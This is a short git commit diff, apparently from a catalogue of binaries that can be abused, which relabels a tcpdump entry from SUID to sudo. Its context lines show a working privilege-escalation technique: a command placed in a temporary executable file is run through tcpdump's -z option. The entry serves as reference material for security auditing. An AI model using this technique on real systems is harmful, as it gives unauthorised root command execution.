Fix tcpdump sudo-enabled

This commit is contained in:
Emilio Pinna 2018-08-24 17:59:16 +01:00
parent bbf0940cf2
commit 51acc5bc9b

View File

@ -7,7 +7,7 @@ functions:
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
chmod +x $TF chmod +x $TF
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
suid-enabled: sudo-enabled:
- code: | - code: |
COMMAND='id > /tmp/output' COMMAND='id > /tmp/output'
TF=$(mktemp) TF=$(mktemp)